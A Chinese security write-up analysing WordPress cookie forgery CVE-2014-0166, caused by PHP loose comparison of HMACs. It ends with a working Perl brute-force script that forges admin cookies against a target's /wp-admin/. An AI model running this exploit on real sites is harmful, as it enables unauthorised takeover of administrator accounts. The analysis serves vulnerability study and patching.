0×00前言
本文分析的是wordpress3.8.2更新修复的cookie伪造漏洞(CVE -2014- 0166),并给出对应exp。
根据描述WordPress before 3.7.2 and 3.8.x before 3.8.2 都是受影响的,
本地安装wordpress 3.8.1进行测试。
0×01漏洞分析知识准备
登陆wordpress后台后查看cookie
1
|
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7C404207f08e7a5f32dcabad2969d6ee28; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7Ca09bad0632c45f7295835bcc22f50ba7; wp-settings-time-1=1398577578
|
其中
1
2
3
|
wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=admin%7C1398748782%7C404207f08e7a5f32dcabad2969d6ee28;
为认证cookie 其他cookie可有可无,
|
我们分析下这个cookie的结构
其中cookie名wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91
是 wordpress_md5(siteurl) siteurl为wordpress路径
1
2
3
|
C:/AppServ/www/wordpress/wp-includes/default-constants.php (1 hit)
Line 168: define( ‘COOKIEHASH’, md5( $siteurl )
|
我的siteurl为 http://localhost/wordpress
Md5后为BBFA5B726C6B7A9CF3CDA9370BE3EE91
再看这个cookie的值
1
|
admin|1398748782|404207f08e7a5f32dcabad2969d6ee28;
|
格式为$username|$expiration|$hmac
$username 为用户名
$expiration为cookie有效期
$hamc为登陆成功后服务端赋予客户端的hash
验证过程在wp-includes/pluggable.php 543-549行
1
2
3
4
5
6
7
8
9
10
11
12
13
|
$key = wp_hash($username . $pass_frag . ‘|’ . $expiration, $scheme);
$hash = hash_hmac(‘md5′, $username . ‘|’ . $expiration, $key);
if ( $hmac != $hash ) {
do_action(‘auth_cookie_bad_hash’, $cookie_elements);
return false;
}
|
$username,expiration从cookie中取得
从 $username,$pass_frag,$expiration,$scheme中计算中$key。
再用$username,$expiration,$key中计算出hash
对比是否与cookie中的$hmac 一致则给予登陆
为了验证我们上面的分析是否正确
我们将上面代码改成
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
$key = wp_hash($username . $pass_frag . ‘|’ . $expiration, $scheme);
$hash = hash_hmac(‘md5′, $username . ‘|’ . $expiration, $key);
echo ‘$username:’.$username.“<br>”;
echo ‘$pass_frag:’.$pass_frag.“<br>”;
echo ‘$expiration:’.$expiration.“<br>”;
echo ‘$scheme:’.$scheme.“<br>”;
echo ‘$key:’.$key.“<br>”;
echo ‘$hash:’.$hash.“<br>”;
echo ‘$hmac:’.$hmac.“<br>”;
exit();
if ( $hmac != $hash ) {
do_action(‘auth_cookie_bad_hash’, $cookie_elements);
return false;
}
|
即运行到此时 将所有我们好奇的变量打印出来
输出结果:
1
2
3
4
5
6
7
|
$username:admin
$pass_frag:XBxI
$expiration:1398748782
$scheme:auth
$key:1002e6cddd0416ac265378aa4ab111f8
$hash:404207f08e7a5f32dcabad2969d6ee28
$hmac:404207f08e7a5f32dcabad2969d6ee28
|
我们的分析是正确的!
0X02漏洞原理
对比wordpress3.8.2的修复代码
1
2
3
4
5
6
7
|
$key = wp_hash($username . $pass_frag . ‘|’ . $expiration, $scheme);
$hash = hash_hmac(‘md5′, $username . ‘|’ . $expiration, $key);
- if ( $hmac != $hash ) {
+ if ( hash_hmac( ‘md5′, $hmac, $key ) !== hash_hmac( ‘md5′, $hash, $key ) ) {
|
将!=修改成!==
这便是产生漏洞的地方了
1
2
|
$a == $b;// Equal TRUE if $a is equal to $b.
$a === $b;// Identical TRUE if $a is equal to $b, and they are of the same type
|
php手册说明如上
==为非严格比较,会进行类型转换后比对
==则要求两个变量类型相同
1
2
3
4
5
6
7
8
9
10
11
|
<?php
var_dump(0 == “a”); // 0 == 0 -> true
var_dump(“1″ == “01″); // 1 == 1 -> true
var_dump(“10″ == “1e1″); // 10 == 10 -> true
var_dump(100 == “1e2″); // 100 == 100 -> true
?>
|
以上是手册给出的例子
1e2为科学计数法,==运算符中 经过类型转换 是被视为与100相等的。
再回到wordpress上
1
|
wordpress_md5(siteurl)=$username|$expiration|$hmac
|
这个认证cookie中,我们若固定$username的值不变,$hmac固定为0,不断更改$expiration的值,使得
1
|
$hash = hash_hmac(‘md5′, $username . ‘|’ . $expiration, $key);
|
的值不断改变
一旦$hash的值变为科学计数法表示的0如0e+30位0-9任意数字,即可验证通过。
32位下 科学计数法表示0,总共更有:
10^0+10^1+……10^30种情况
而32位md5总共有:
16^32种情况
故攻击成功的概率为:
(10^0+10^1+……10^30)/16^32
约三亿分之一的概率 拼人品了
0x03exp
根据以上分析,我们便可以写出exp了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
Crak.pl
use LWP::UserAgent;
$url=“http://localhost/wordpress”; #要攻击的wordpress地址
$sitehash=“bbfa5b726c6b7a9cf3cda9370be3ee91″; #$url的md5值
for($i=10000000000;;$i++) #$expiration
{
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(‘GET’ => $url.“/wp-admin/”);
$req->header(‘Cookie’ => “wordpress_”.$sitehash.“=admin%7c”.$i.“%7c0;”); #将cookie设成我们想要的情况
my $res = $ua->request($req);
print “wordpress_”.$sitehash.“=admin%7c”.$i.“%7c0″.“/n”; #将cookie的值打印出来看看
print $i.“/t”;
print $url.“/wp-admin/”.“/n”;
print $res->status_line.“/n”;
if(index($res->content,“您好,admin”)>0) #如果成功进入后台则记录在D盘下的result.html文件
{
open(SH, “>> d:/result.html”);
print SH ($i.“/n”);
}
}
|
赏金发放情况:本文获得赏金150RMB,已于4.25日发放到作者账号。
征稿启事:91RI一直相信“你不与人分享,谁与你分享”, 分享的确是件非常有意义的事情。为了让优秀的同学有 地方分享自己的独到见解,也为了让更多同学从分享中受益,同时我们也希望给那些愿意分享的小伙伴们一点点心意作为感谢,所以我们隆重了推出“有奖征文”活 动!本次活动的详情可以围观《征稿启事》
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号